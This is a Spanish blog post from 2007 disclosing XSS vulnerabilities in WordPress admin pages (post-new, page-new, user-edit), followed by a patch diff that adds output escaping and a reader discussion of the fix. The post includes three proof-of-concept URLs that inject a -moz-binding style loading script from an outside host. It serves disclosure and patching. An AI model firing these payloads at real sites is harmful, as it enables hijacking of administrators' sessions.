Anuncia aquí

Más vulnerabilidades XSS para WordPress

Actualización: g30rg3_x se ha tomado la molestia de preparar un parche más completo para WordPress 2.2.

Siguen reportándose más bugs de WordPress, esta vez afecta a los archivos wp-admin/post-new.php, wp-admin/page-new.php, wp-admin/users-edit.php. Estos errores al parecer están presentes en todas las versiones de WordPress.

Las pruebas de concepto son las siguientes (sólo funcionan en Firefox, pero también se pueden preparar ejemplos para Internet Explorer):

code:

http://www.site.com/path.to/wp-admin/post-new.php?text=&popupurl=http%3A%2F%2Fha.ckers.org%2Fxss.html&popuptitle=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'
http://www.site.com/path.to/wp-admin/page-new.php?text=&popupurl=http%3A%2F%2Fha.ckers.org%2Fxss.html&post_title=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'
http://www.site.com/path.to/wp-admin/user-edit.php?user_id=1&wp_http_referer=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'

Si alguien no quiere esperar una nueva versión y desea corregir el problema por sus propios medios, puede basarse en el siguiente parche generado a partir de la versión de desarrollo de WordPress:

diff:
Index: wp-admin/edit-form-advanced.php
===================================================================
--- wp-admin/edit-form-advanced.php     (revision 5508)
+++ wp-admin/edit-form-advanced.php     (working copy)
@@ -140,7 +140,7 @@
 
 <fieldset id="titlediv">
        <legend><?php _e('Title') ?></legend>
-       <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo $post->post_title; ?>" id="title" /></div>
+       <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo attribute_escape($post->post_title); ?>" id="title" /></div>
 </fieldset>
 
 <fieldset id="<?php echo user_can_richedit() ? 'postdivrich' : 'postdiv'; ?>">
Index: wp-admin/edit-page-form.php
===================================================================
--- wp-admin/edit-page-form.php (revision 5508)
+++ wp-admin/edit-page-form.php (working copy)
@@ -126,7 +126,7 @@
 
 <fieldset id="titlediv">
   <legend><?php _e('Page Title') ?></legend>
-  <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo $post->post_title; ?>" id="title" /></div>
+  <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo attribute_escape($post->post_title); ?>" id="title" /></div>
 </fieldset>
 
 
Index: wp-admin/user-edit.php
===================================================================
--- wp-admin/user-edit.php      (revision 5508)
+++ wp-admin/user-edit.php      (working copy)
@@ -76,7 +76,7 @@
 <form name="profile" id="your-profile" action="user-edit.php" method="post">
 <?php wp_nonce_field('update-user_' . $user_id) ?>
 <?php if ( $wp_http_referer ) : ?>
-       <input type="hidden" name="wp_http_referer" value="<?php echo wp_specialchars($wp_http_referer); ?>" />
+       <input type="hidden" name="wp_http_referer" value="<?php echo clean_url($wp_http_referer); ?>" />
 <?php endif; ?>
 <p>
 <input type="hidden" name="from" value="profile" />
 

Para los que no estén familiarizados con los parches, deben eliminar las líneas que comienzan con "-" y cambiarlas por las que empiezan por "+".

Esta entrada fue publicada en Seguridad, Web, Wordpress, XSS

12 Comentarios

  1. 1 Benet J. (25 de mayo de 2007, 04:17:40 am)

    Buenas, he probado los tres exploit con FF 1.0.4 y me redirige a la página de login. El WP es un 2.1.3

  2. 2 alex (25 de mayo de 2007, 08:53:49 am) http://www.buayacorp.com

    Necesitas las credenciales del administrador para que funcione, este tipo de vulnerabilidades normalmente van acompañados de ataques CSRF.

  3. 3 Armonth (25 de mayo de 2007, 10:35:23 am) http://sigt.net

    Alex duda; la última parte del DIFF, concretamente la de user-edit.php se refiere a una función que en 2.0.x (o al menos en mi versión) no existe, el trozo que a mí me sale es:

    <h2><?php _e('Edit User'); ?></h2>

    <form name="profile" id="your-profile" action="user-edit.php" method="post">
    <?php wp_nonce_field('update-user_' . $user_id) ?>
    <p>
    <input type="hidden" name="from" value="profile" />
    <input type="hidden" name="checkuser_id" value="<?php echo $user_ID ?>" />
    </p>

    Como ves, no existe ninguna función wp_http_referer.

  4. 4 alex (25 de mayo de 2007, 11:14:27 am) http://www.buayacorp.com

    @Armonth: Para en 2.0 no existe esa parte, por eso mencionaba que el parche fue generado a partir de la versión de desarrollo (trunk del svn).

    Por otro lado, ya está disponible una solución más completa hecha por un desarrollador de WP.

  5. 5 maty (25 de mayo de 2007, 11:54:10 am) http://nauscopio.nireblog.com

    En WP 2.0.10 no encuentro $post->post_title; en los ficheros que más se aproximan:

    wp-admin/page-new.post

    wp-admin/post.php

    wp-admin/user-edit.php

    wp-admin/users.php

  6. 6 alex (25 de mayo de 2007, 12:04:15 pm) http://www.buayacorp.com

    @maty: Los bugs son accesibles a través de esos archivos, pero en realidad éstos no se encuentran ahí, tal como se aprecia en el parche tienes que corregir los archivos wp-admin/edit-form-advanced.php y wp-admin/edit-page-form.php

  7. 7 maty (25 de mayo de 2007, 12:05:48 pm) http://nauscopio.nireblog.com

    Sí en:

    wp-admin/edit-form.php
    wp-admin/edit-form-advanced.php
    wp-admin/edit-page-form.php

  8. 8 maty (25 de mayo de 2007, 12:06:51 pm) http://nauscopio.nireblog.com

    Vaya, hemos coincidido. Pero yo he encontrado uno más!

  9. 9 maty (25 de mayo de 2007, 12:12:26 pm) http://nauscopio.nireblog.com

    Vale, ya estaba avisado, cachis. He actualizado UTI, ahora toca otras, con WP 2.1.

  10. 10 g30rg3_x (26 de mayo de 2007, 12:47:13 am) http://g30rg3x.com/

    Acabo de terminar un parche mas completo para la serie 2.2 el cual base en el cambio para el trunk y claro añadi lo que le falto...

    Te dejo los archivos ya con los cambios hechos y el archivo de diferencias en:
    http://www.mediafire.com/?8dwdxwnmduj

    Saludos alex

  11. 11 g30rg3_x (26 de mayo de 2007, 02:07:01 pm) http://g30rg3x.com/

    Hola alex...

    uno se duerme y salen estas cosas y tantranquilos que ya estabamos.
    te dejo un parche que puse en el trac...
    http://www.mediafire.com/?8dwdxwnmduj

  12. 12 alex (27 de mayo de 2007, 06:12:32 pm) http://www.buayacorp.com

    Gracias por los parches g30r3_x, disculpa por no mostrar antes tus comentarios -- éstos fueron enviados a la cola de spam y hoy recién acabo de verlos.

6 Trackbacks

  1. Por SigT el 25 mayo 2007 a las 10:52 am

    Fallos XSS en WordPress: page-new, post-new y user-edit...

    Buenas y malas noticias: las buenas es que sólo afecta como administrador a los que tengan “manía Unix” y usen un usuario no-administrador (como es mi caso, que el usuario Armonth es +/- el equivalente a un editor) están a salvo.

    Las ma...

  2. [...] información sobre las vulnerabilidades a traves de XSS y SQL [...]

  3. Por Mejorando la seguridad de Wordpress en castellano el 29 mayo 2007 a las 8:50 am

    [...] desgracia cada vez más habituales) fallos de seguridad de este popular CMS. Por ejemplo este o este. El segundo es el de los hermanos Carrero que, aparte de realizar unas inmejorables traducciones [...]

  4. Por Web Reloaded (XIV) at Mareos de un geek el 1 junio 2007 a las 3:49 pm

    [...] El día 16 se lanzó una nueva versión de WordPress, tras algunos errores y fallos de seguridad, parece que se ha afianzado, de todas maneras, ya están trabajando en la nueva versión [...]

  5. Por g30rg3 Blog el 3 junio 2007 a las 12:59 am

    Mas y Mas Bugs de WordPress...

    Cuando las aguas parecían tranquilas salen nuevas vulnerabilidades…
    Una de ellas la cual fue descubierta por Waraxe solo afecta a la rama 2.1.x y menores.
    Y la otra apenas salio hace unos pocos días a cargo de los famosos ha.ckers.org y que afe...

  6. Por g30rg3 Blog » Mas y Mas Bugs de WordPress el 12 junio 2007 a las 10:54 pm

Publicar un Comentario

Tu email nunca será publicado o compartido. Los campos requeridos están marcados con un *

*
*

Puedes usar estas etiquetas y atributos HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>